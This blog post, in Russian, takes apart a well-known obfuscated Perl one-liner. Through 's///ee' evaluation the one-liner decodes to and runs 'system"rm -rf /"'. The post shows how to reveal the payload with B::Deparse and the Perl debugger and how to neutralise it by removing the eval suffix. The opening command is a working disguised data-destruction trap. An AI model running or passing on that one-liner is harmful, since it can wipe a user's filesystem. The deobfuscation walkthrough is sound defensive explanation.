ocehb: (Default)
[personal profile] ocehb

# echo "test...test..test..." | \
  perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
# 



...и как с ней бороться:

# print test | \
  perl -MO=Deparse,-p -e \
    '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;
tr( -/:-@[-`{-})[`-{/" \-];
s//$_/see;
-e syntax OK
# print test | \
  perl -pe '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;s'
system"rm -rf /"test
system"rm -rf /"test
# print | perl -pe '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;s'
system"rm -rf /"
system"rm -rf /"
#


т.е., сначала смотрим, в чего преобразуется данный код, видим потенциально опасный суффикс у s///, заменяем его, и выполняем.

или, если ничего непонятно:


# perl -de0
  DB<1> $a = "test"

  DB<2> $a =~ s//=]=>%-{<-|}<&|`{/

  DB<3> p $a
=]=>%-{<-|}<&|`{test
  DB<4> $a =~ tr( -/:-@[-`{-})[`-{/" \-];

  DB<5> p $a
system"rm -rf /"test
  DB<6> $a =~ s//$a/

  DB<7> p $a
system"rm -rf /"testsystem"rm -rf /"test
  DB<8>


Profile

ocehb: (Default)
ocehb

January 2021

S M T W T F S
     12
345 6789
10111213141516
17181920212223
24252627282930
31      

Most Popular Tags

Style Credit

Expand Cut Tags

No cut tags
Page generated Feb. 6th, 2026 10:31 am
Powered by Dreamwidth Studios